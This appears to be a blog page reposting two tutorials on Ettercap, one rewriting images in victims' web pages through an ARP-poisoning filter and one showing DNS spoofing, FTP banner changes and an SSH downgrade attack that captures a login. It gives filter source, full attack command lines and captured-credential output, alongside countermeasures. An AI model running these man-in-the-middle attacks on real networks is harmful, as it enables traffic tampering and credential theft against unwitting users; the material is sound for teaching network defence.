Showing posts with label ettercap. Show all posts
Showing posts with label ettercap. Show all posts

Sunday, July 24, 2011

Fun with Ettercap Filters

Ettercap[1] is sort of the Swiss army knife of ARP poisoning[2] and network sniffing. Ettercap can be extended by using filters and plug-ins, making it able to do all sorts of neat network tasks. Using filters is what I plan to show in this tutorial. The easiest way to run Ettercap is from the Auditor[3] or Knoppix boot CDs. The version I will be running in this tutorial is Ettercap NG-0.7.3.
        What first inspired me to play with Ettercap filters was the use of Airpwn at Defcon 12[4] . The creators of Airpwn used their ingenious little tool to replace images in web pages that conference attendees surfed to with the Goatse image. If you don't know what Goatse is, you probably don't want to ask. Airpwn can be a bit difficult to configure, compile and run, but I figured I could do much the same thing with an Ettercap filter. Since Ettercap can be compiled on Linux, BSD, Mac OS X and Windows 200/XP/2003 and can work on wireless (802.11) and wired LANs its target audience is much larger than Airpwn's. Ettercap has the ability to route traffic though itself using "Man in the Middle" attacks and then use filters to modify the data before sending it on to the victim.  Initially I wanted to do the same thing as the Airpwn guys, but with the Tubgirl image instead (once again, don't ask, I'm a sick bastard).  For this tutorial I decided to compromise and just have the images in web pages replaced by the Jolly Rogers:
        Yes, this tutorial is a bit deviant, but you can use the skills learned from it to do many other useful tasks. The first thing we need to do is create an Ettercap filter. Below is the source code for mine:
Source code for ig.filter
 
############################################################################
#                                                                          #
#  Jolly Pwned -- ig.filter -- filter source file                          #
#                                                                          #
#  By Irongeek. based on code from ALoR & NaGA                             #
#  Along with some help from Kev and jon.dmml                              #
#  http://ettercap.sourceforge.net/forum/viewtopic.php?t=2833              #
#                                                                          #
#  This program is free software; you can redistribute it and/or modify    #
#  it under the terms of the GNU General Public License as published by    #
#  the Free Software Foundation; either version 2 of the License, or       #
#  (at your option) any later version.                                     #
#                                                                          #
############################################################################
if (ip.proto == TCP && tcp.dst == 80) {
   if (search(DATA.data, "Accept-Encoding")) {
      replace("Accept-Encoding", "Accept-Rubbish!"); 
   # note: replacement string is same length as original string
      msg("zapped Accept-Encoding!\n");
   }
}
if (ip.proto == TCP && tcp.src == 80) {
   replace("img src=", "img src=\"http://www.irongeek.com/images/jollypwn.png\" ");
   replace("IMG SRC=", "img src=\"http://www.irongeek.com/images/jollypwn.png\" ");
   msg("Filter Ran.\n");
}
        The code should be pretty self explanatory to anyone who has done much coding before (it's very much like C and other languages). The # symbols are comments. The "if" statement tells the filter to only work on TCP packet from source port 80, in other words coming from a web server. This test may still miss some images, but should get most of them. I'm also not sure about Ettercap's order of operation with AND (&&) and OR (||) statements but this filter largely seems to work (I tried using parentheses to explicitly specify the order of operation with the Boolean operators but this gave me compile errors).  The "replace" function replaces the first parameter string with the second.  Because of the way this string replacement works it will try to mangled image tags and insert the picture we desire into the web page's HTML before it returns it to the victim. The tags may end up looking something like the following:
                <img src="http://www.irongeek.com/images/jollypwn.png" /images/original-image.jpg>
        The original image location will still be in the tag, but most web browsers should see it as a useless parameter. The "msg" function just prints to the screen letting us know that the filter has fired off.
        Now that we sort of understand the basics of the filter lets compile it. Take the ig.filter source code listed above and paste it into a text file, then compile the filter into a .ef file using the following command:
            etterfilter ig.filter -o ig.ef
        Now that are filter is compiled we need to target the hosts we want to ARP poison and run the filter on. Here is a quote form Ettercap's MAN page on how Targeting works:
Quote from Ettercap's MAN page:
TARGET SPECIFICATION
There is no concept of SOURCE nor DEST. The two targets are intended to
filter traffic coming from one to the other and vice-versa (since the
connection is bidirectional).

TARGET is in the form MAC/IPs/PORTs. If you want you can omit any of
its parts and this will represent an ANY in that part.
e.g.
"//80" means ANY mac address, ANY ip and ONLY port 80
"/10.0.0.1/" means ANY mac address, ONLY ip 10.0.0.1 and ANY port

MAC must be unique and in the form 00:11:22:33:44:55

IPs is a range of IP in dotted notation. You can specify range with the
- (hyphen) and single ip with , (comma). You can also use ; (semicolon)
to indicate different ip addresses.
e.g.
"10.0.0.1-5;10.0.1.33" expands into ip 10.0.0.1, 2, 3, 4, 5 and
10.0.1.33

PORTs is a range of PORTS. You can specify range with the - (hyphen)
and single port with , (comma). e.g.
"20-25,80,110" expands into ports 20, 21, 22, 23, 24, 25, 80 and 110

NOTE:
you can reverse the matching of the TARGET by adding the -R option to
the command line. So if you want to sniff ALL the traffic BUT the one
coming or going to 10.0.0.1 you can specify "./ettercap -R /10.0.0.1/"

NOTE:
TARGETs are also responsible of the initial scan of the lan. You can
use them to restrict the scan to only a subset of the hosts in the net-
mask. The result of the merging between the two targets will be
scanned. remember that not specifying a target means "no target", but
specifying "//" means "all the hosts in the subnet.


 
        So, if we wanted to target all hosts on the network we would use the following command:       
            ettercap -T -q -F ig.ef -M ARP // //
        Be careful with the above command, having all of the traffic on a large network going though one slow computer can really bog down network connections. If we had a specific victim in mind, let's say a host with the IP 192.168.22.47, we would use this command:
            ettercap -T -q -F ig.ef -M ARP /192.168.22.47/ //
        Here are what the command line option flags do:
-T tells Ettercap to use the text interface, I like this option the best as the more GUI modes are rather confusing.
-q tells Ettercap to be more quiet, in other words less verbose.
-F tells Ettercap to use a filter, in this case ig.ef that we compiled earlier.
-M tells Ettercap the MITM (Man in the Middle) method we want to use, in this case ARP poisoning.
Once Ettercap is running we should get some output something like the following:
ettercap -T -q -F ig.ef -M ARP /192.168.22.47/ // output:
root@Cthulhu:/usr/share/ettercap# ettercap -T -q -F ig.ef -M ARP /192.168.22.47/ //

ettercap NG-0.7.3 copyright 2001-2004 ALoR & NaGA

Content filters loaded from ig.ef...
Listening on eth0... (Ethernet)

eth0 -> 00:04:56:B8:70:AD 192.168.19.56 255.255.240.0

SSL dissection needs a valid 'redir_command_on' script in the etter.conf file
Privileges dropped to UID 65534 GID 65534...

28 plugins
39 protocol dissectors
53 ports monitored
7587 mac vendor fingerprint
1698 tcp OS fingerprint
2183 known services

Randomizing 4095 hosts for scanning...
Scanning the whole netmask for 4095 hosts...
* |==================================================>| 100.00 %

526 hosts added to the hosts list...

ARP poisoning victims:

GROUP 1 : 192.168.22.47 00:04:56:B8:70:AD

GROUP 2 : ANY (all the hosts in the list)
Starting Unified sniffing...


Text only Interface activated...
Hit 'h' for inline help
Filter Ran.
Filter Ran.

Below you can see what the Antionline and Binrev web pages look like when the victim tries to view them:
Binrev ran though filter: Antionline ran though filter:
        Cool huh? Keep in mind that this filter does not seem to fire off for all images, it's a little hit and miss. For more information on things you can do Ettercap filters look at the sample code in the file "etter.filter.examples" that comes along with Ettercap. On my box this file is located in /usr/share/ettercap/etter.filter.examples. Also check out Kev's tutorial on Ettercap filters[5]. Want to keep other folks from doing this kind of shenanigans on your network? Here are a few options:
1. Use static ARP tables between important hosts (not very practical in most cases).
2. Use ARPWatch or an IDS to spot when someone is pulling off an ARP poisoning attack.
3. Encrypted traffic using a VPN or SSL should make it though safely, unless of course the attacker uses some of Ettercap's proxing capabilities.
Enjoy.

Further Research:
[1] Ettercap Web Page:
http://ettercap.sourceforge.net/
[2] My Tutorial On The Basics of Arpspoofing/Arppoisoning:
http://www.irongeek.com/i.php?page=security/arpspoof
[3] Auditor Security Collection Web Page:
http://www.remote-exploit.org/?page=auditor
[4]  Airpwn at Defcon 12:
http://www.evilscheme.org/defcon/
[5] Kev's Tutorial on Ettercap filters:
http://ettercap.sourceforge.net/forum/viewtopic.php?t=2833&sid=e541f515a1d4ef76b4ba32073a8777ee

http://www.irongeek.com/i.php?page=security/ettercapfilter

Ettercap Mitm attacks

After the ARP poisoning tutorial, the victim ARP cache has been changed to force the connections from the Windows machine to go trough the Ettercap machine to reach the desired destination.

The network scenario diagram is available in the Ettercap introduction page.

As the trap is set, we are now ready to perform "man in the middle" attacks, in other words to modify or filter the packets coming from or going to the victim.

To launch attacks, you can either use an Ettercap plugin or load a filter created by yourself.


1. PLUGINS
2. FILTERS

PLUGINS

We will use here the Ettercap plugin called dns_spoof to test a very famous attack, the DNS spoofing where the pirate answers DNS requests at the place of the DNS server.
When you access your favourite web site with your browser, your machine (it has an IP address of 192.168.1.2 in our case study) will first ask the DNS server for the IP address matching your URL and then the browser will display the web page.
With DNS spoofing, when the DNS request is sent, the spoofer answers at the place of the DNS server and provides another IP address.
The consequences will be that you have the feeling to reach the desired web site but this will be in fact the pirate's website because of the different IP address.

The attack can very dangerous when the pirate spoofs important websites such as your bank website. His/Her fake web server will have exactly the same interface than the real bank web site. So, the pirate will wait for you to enter your credentials on his website to capture them.

Let's proceed with the DNS spoofing attack.
The first thing to do is to set the configuration file called etter.dns in the /usr/share/ettercap/ directory.

#vim /usr/share/ettercap/etter.dns
In the file you can find an explanation about its configuration.
Here is the content of our etter.dns file.

linux1.org
*.linux.com
www.linux.org
A
A
PTR
198.182.196.56
198.182.196.56
198.182.196.56
It means that when you open www.linux1.org in your web browser, you will see the content of the www.linux.org website.

To start the DNS spoofing, you need to activate the dns_spoof plugin in the Ettercap graphical interface. Remember that you need to follow the ARP poisoning tutorial before doing the steps below.

Plugins -> Manage the plugins
openmaniak ettercap man in the middle attack Manage the plugins

Click on the dns_spoof line to activate the plugin. This will tag the line with a star.

openmaniak ettercap  man in the middle attack dns_spoof line

Then enter www.linux1.org in a web browser.
You can see that the content of the page opened is the one that matches the IP address you added in the etter.dns file and not the real IP address matching the www.linux1.org address.

openmaniak ettercap  man in the middle attack

                       man in the middle attack openmaniak ettercap
openmaniak ettercap  man in the middle attack

To stop the DNS spoofing:

Start -> Stop sniffing
Although we stopped the attack, you can see that the www.linux1.org address in your web browser still displays the content of the www.linux.org web site. This is because of the DNS cache on our client machine 192.168.1.2. By default, Windows keeps a DNS entry for 300 seconds or 5 minutes in its cache. So either you wait quietly for 5 minutes or, better, you flush or clear the DNS cache with the following command:

Launch a command line interface window as follow:
Start -> Run -> cmd

C:\Documents and Settings\administrator>ipconfig /flushdns
On an Ubuntu machine use the following command: "/etc/init.d/dns-clean start"
To see your DNS cache:

C:\Documents and Settings\administrator>ipconfig /displaydns
If you want to change the default DNS cache time, you have to modify an entry in the Windows registry.
Be careful when playing with the registry, an incorrect configuration can damage your system and prevent it from rebooting.

Start -> Run -> arborescence below:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters\

Click on "NegativeCacheTime" in the right panel:

openmaniak ettercap registry negativecachetime man in the middle attack

click on the "Decimal" button and finally enter your new value for the DNS cache time.

 man in the middle attack openmaniak ettercap registry negativecachetime

Top of the page


FILTERS

The filters allow you to change the content of packets.
To create a filter, a configuration file must be compiled before being able to be used as a filter. You can find some predefined examples in the /usr/share/ettercap/ directory.
We will study two examples based on Ettercap filters.

1. FTP prompt change
2. SSH downgrade attack

1. FTP Prompt change:

We chose in our simple example to change the prompt of a FTP connection. Below is our configuration file called test_filter in the /usr/share/ettercap directory.

# replace the FTP prompt
if (tcp.src == 21 && search(DATA.data, "ProFTPD")) {
   replace("ProFTPD","TeddyBearFTPD);
}


Then you need to compile the file with etterfilter because Ettercap can only load compiled files.

#etterfilter etter_filter -o etter_filter_compil
This will create a compiled file called etter_filter_comp.

Load the filter in Ettercap:

Filters -> Load a filter...
openmaniak ettercap man in the middle attack Load a filter

openmaniak ettercap man in the middle attack Load a filter

Now, it's time to test a FTP connection with our client machine 192.168.1.2. Tests are performed before and after the Ettercap filtering.
"xyz" is the website name and "1.2.3.4" an IP address.

(Of course, you must be set as "man in the middle". If it's not already the case, follow the arp poisoning tutorial.)

C:\Documents and Settings\Administrator>ftp www.xyz.com
Connected to xyz.com.
220 "ProFTPD 1.3.0a Server ("ProFTPD) [1.2.3.4]
User (xyz.com:(none)):


C:\Documents and Settings\Administrator>ftp www.xyz.com
Connected to xyz.com.
220 "TeddyBear FTPD 1.3.0a Server ("TeddyBear FTPD) [1.2.3.4]
User (xyz.com:(none)):



Top of the page     Filter menu

2. SSH Downgrade attack:

A particularly crafty attack called "the downgrade attack" can be used once in "the man in the middle" position. The principle is to downgrade a protocol version by changing data inside packets, to another version known to be vulnerable.

---------------- Principle ----------------

SSH is the most famous example of a downgrade attack where the attacker forces the client and the server to use the insecure SSH1 protocol.

The client sends a request to establish a SSH link to the server and asks it for the version it supports.
The server answers either with:
- ssh-2.xx The server supports only SSH2
- ssh-1.99 The server supports SSH1 and SSH2
- ssh-1.51 The server supports only SSH1

In our example, the server is configured to support both SSH1 and SSH2 and the client is set to use SSH2 and SSH1 but SSH2 as a preference.

Suppose the server is configured for SSHv1 and SSHv2, the hacker will change the answer by modifying the "1.99" string to "1.51" to indicate to the client that the server supports only SSH1 and thus forces the client to open a SSH1 link.
The client who thinks to use the secure SSH2 protocol will login with SSH1 and the password will be immediately captured by the hacker because of the SSH1 weak password authentication mechanism.

putty ssh downgrade attack

---------------- Case Study Installation ----------------

a. SSH Server: OpenSSH on Linux
b. SSH client: Putty on Windows.
c. Hacker machine: Ettercap.

a. Server installation:

#apt-get install openssh-server

By default, only SSH2 is enabled on the OpenSSH server. To activate SSH1, you have first to open the /etc/ssh/sshd_config file and update the line beginning with "Protocol":

#vim /etc/ssh/sshd_config
Protocol 1,2
You then need to create a SSH1 key pair otherwise you will have the following error after the SSH server reboot:
Disabling protocol version 1. Could not load host key.

#ssh-keygen -t rsa1 -f /etc/ssh/ssh_host_key -N ""
Add the key path into the sshd_config file:

HostKey /etc/ssh/ssh_host_key
Finally, restart the server:

#/etc/init.d/ssh restart
   * Restarting OpenBSD Secure Shell server sshd

The SSH server is now configured to accept SSH1 and SSH2 and thus provides a "ssh-1.99" response. We can check it with the following command:

#telnet server_ip_address 22
Trying server_ip_address...
Connected to server_ip_address.
Escape character is '^]'.
SSH-1.99-OpenSSH_4.6p1 Debian-5ubuntu0.1


b. Client installation:

Download the Putty client. Putty is a well known open source SSH client for windows.
Keep the SSH default Putty configuration. SSH1 and SSH2 are accepted but SSH2 preferred.

putty ssh2 version

c. Ettercap installation:

Follow the Ettercap installation tutorial to install Ettercap and the ARP poisoning tutorial to set our machine as "Man in the Middle".

Our laboratory is now operational, we can launch the SSH downgrade attack:

---------------- Launch the SSH downgrade attack ----------------

Ettercap offers a predefined configuration file for the SSH downgrade attack. The file is /usr/share/ettercap/etter_filter_ssh.
We can check the content of the file but nothing has to be modified.

#cat /usr/share/ettercap/etter.filter.ssh
if (ip.proto == TCP) {
if (tcp.src == 22) {
if ( replace("SSH-1.99", "SSH-1.51") ) {
msg("[SSH Filter] SSH downgraded from version 2 to 1\n");
} else {
if ( search(DATA.data, "SSH-2.00") ) {
msg("[SSH Filter] Server supports only SSH version 2\n");
} else {
if ( search(DATA.data, "SSH-1.51") ) {
msg("[SSH Filter] Server already supports only version 1\n");
}
}
}
}
}
We just need to compile the file to create the filter.

#etterfilter etter_filter_ssh -o etter_filter_ssh_co
We are now ready to load the filter.

Filters -> Load a filter...
ettercap load ssh downgrade filter

Select the compiled file.

ettercap load ssh downgrade filter file

The filter is now loaded. We are ready to open an SSH link from the client.

ettercap ssh downgrade filter loaded

The client, the hacker and the server machines are now configured correctly.
We can test opening an SSH link from the Putty client.
Open Putty, on the left, click on "Session", then enter the SSH server IP address (192.168.1.68 in our example) and check the "SSH" radio button. Click on the "Open" button to connect to the SSH server.

ettercap open ssh link with putty

It's time to see if everything is working fine and check on the hacker machine if we catch the SSH1 password.

ettercap ssh1 downgrade filter credentials

The attack works fine!

As shown, Ettercap has:
1. Downgraded the SSH version:
2. Captured the SSH1 credentials:

[SSH Filter] SSH downgraded from version 2 to 1
SSH : 192.168.1.68:22 -> USER:guillfab PASS:T0rduT1m
We can observe a Wireshark capture from the SSH server during the SSH link establishment. (Click to enlarge)

wireshark ssh1 initialisation process

1. The server (192.168.1.68) sends a "1.99" answer to the client (192.168.1.132) meaning it supports SSH1 and SSH2.
2. The client establishes an SSH1 link because the "1.99" server answer was changed to "1.51" by the hacker.
3. Encrypted SSH1 packets

---------------- Countermeasures ----------------

How to avoid SSH downgrade attacks ?

SSH1 must NEVER be used on a SSH server and SSH2 forced on the client.
By default, only SSHv2 is enabled on the OpenSSH server while it is frequent to see SSHv1 and SSHv2 enabled on the clients such as Putty.

Let's see how we can secure the SSH client and server:

SSH server:
Open the /etc/ssh/sshd_config file and check that only the SSH2 protocol is enabled.

#vim /etc/ssh/sshd_config
Protocol 2
If you make a change, restart the server with "#/etc/init.d/ssh restart".
Then to be sure your server really supports only SSH2, do the following command:

#telnet server_ip_address 22
Trying server_ip_address...
Connected to server_ip_address.
Escape character is '^]'.
SSH-2.0-OpenSSH_4.6p1 Debian-5ubuntu0.1

The value in red must not be under 2.0.

SSH client:
Force the SSH2 protocol on the client.
On Putty, in the left panel, click on "Connection" then "SSH". Finally, check the "2only" radio button.














putty ssh2 version

http://openmaniak.com/ettercap_filter.php